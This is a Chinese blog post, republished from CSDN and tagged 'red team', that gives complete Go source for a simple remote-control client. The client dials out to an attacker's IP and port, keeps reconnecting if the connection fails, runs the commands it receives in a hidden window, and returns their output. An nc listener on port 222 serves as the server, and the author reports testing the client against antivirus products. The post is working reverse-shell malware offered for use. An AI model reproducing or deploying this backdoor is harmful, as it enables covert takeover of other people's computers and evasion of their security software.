标签：免控 string err cmd ConnectServer go 红队 buf conn

下文为笔者学习go与远控所写简单demo。客户端go，服务端Ncat，后续有空可能会继续编写go服务端与完善一些基本功能，感兴趣的可以点关注一下。

功能介绍：

1、socket连接建立

2、命令执行

3、消息回传

4、断开连接

package main

import (
	"bufio"
	"bytes"
	"context"
	"fmt"
	"github.com/axgle/mahonia"
	"io"
	"net"
	"os"
	"os/exec"
	"strings"
	"syscall"
	"time"
)


func ConnectServer(address string){
	//与服务端建立socket连接
	conn,err:=net.Dial("tcp",address)
	if err != nil {
		fmt.Println("连接失败")
		//失败重连
		for {
			ConnectServer(address)
		}
	}
	//关流
	defer conn.Close()
	//开始接收服务端信息
	for{
		//等待接收指令，以 \n 为结束符
		message, err := bufio.NewReader(conn).ReadString('\n')
		if err == io.EOF {
			// 如果服务器断开，则重新连接
			conn.Close()
			ConnectServer(address)
		}
		//删除无用字符
		message1 := strings.Replace(message,"\n","",-1)
		cmdParameter := strings.Split(message1, " ")
		switch cmdParameter[0] {
		case "back":
			conn.Close()
			ConnectServer(address)
		case "exit":
			conn.Close()
			os.Exit(0)
		default:
			cmdSlice := cmdParameter[1:len(cmdParameter)]
			//调用执行命令
			out, err := Command(cmdParameter[0], cmdSlice...)
			if err != nil {
				out = []byte(err.Error() + "\n")
			}
			 解决命令行输出编码问题
			out1 :=ConvertToUTF8String(string(out),"gbk")

			conn.Write([]byte(out1))
		}
	}
}
func Command(name string, arg ...string) ([]byte, error) {
	// 创建一个子节点的context,30秒后自动超时
	// 利用根Context创建一个父Context，使用父Context创建2个协程，超时时间设为30秒
	Timeout := 30 * time.Second
	ctxt, cancel := context.WithTimeout(context.Background(), Timeout)
	defer cancel()
	// 通过上下文执行，设置超时
	cmd := exec.CommandContext(ctxt, name, arg...)
	//隐藏式执行
	cmd.SysProcAttr = &syscall.SysProcAttr{HideWindow: true}

	var buf bytes.Buffer
	cmd.Stdout = &buf
	cmd.Stderr = &buf

	if err := cmd.Start(); err != nil {
		return buf.Bytes(), err
	}
	if err := cmd.Wait(); err != nil {
		return buf.Bytes(), err
	}
	return buf.Bytes(), nil
}

func ConvertToUTF8String(src string, srcCode string) string {
	srcCoder := mahonia.NewDecoder(srcCode)
	srcResult := srcCoder.ConvertString(src)
	return srcResult
}
func main() {
    //传入Server的ip和端口让远控绑定
	ConnectServer("你的IP：端口")
}

测试一下：

1、服务端使用nc监听端口222

nc -lvvp 222

2、客户端main方法中配置IP:端口，并启动程序

3、检查命令是否可以执行（杀软：某全家桶+某绒）

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-7jvw4KtT-1641547620080)(E:\CoreNote\文章附件\1641543019701.png)]

标签：免控,string,err,cmd,ConnectServer,go,红队,buf,conn
来源： https://blog.csdn.net/CoreNote/article/details/122369018

本站声明： 1. iCode9 技术分享网（下文简称本站）提供的所有内容，仅供技术学习、探讨和分享；
2. 关于本站的所有留言、评论、转载及引用，纯属内容发起人的个人观点，与本站观点和立场无关；
3. 关于本站的所有言论和文字，纯属内容发起人的个人观点，与本站观点和立场无关；
4. 本站文章均是网友提供，不完全保证技术分享内容的完整性、准确性、时效性、风险性和版权归属；如您发现该文章侵犯了您的权益，可联系我们第一时间进行删除；
5. 本站为非盈利性的个人网站，所有内容不会用来进行牟利，也不会利用任何形式的广告来间接获益，纯粹是为了广大技术爱好者提供技术内容和技术思想的分享性交流网站。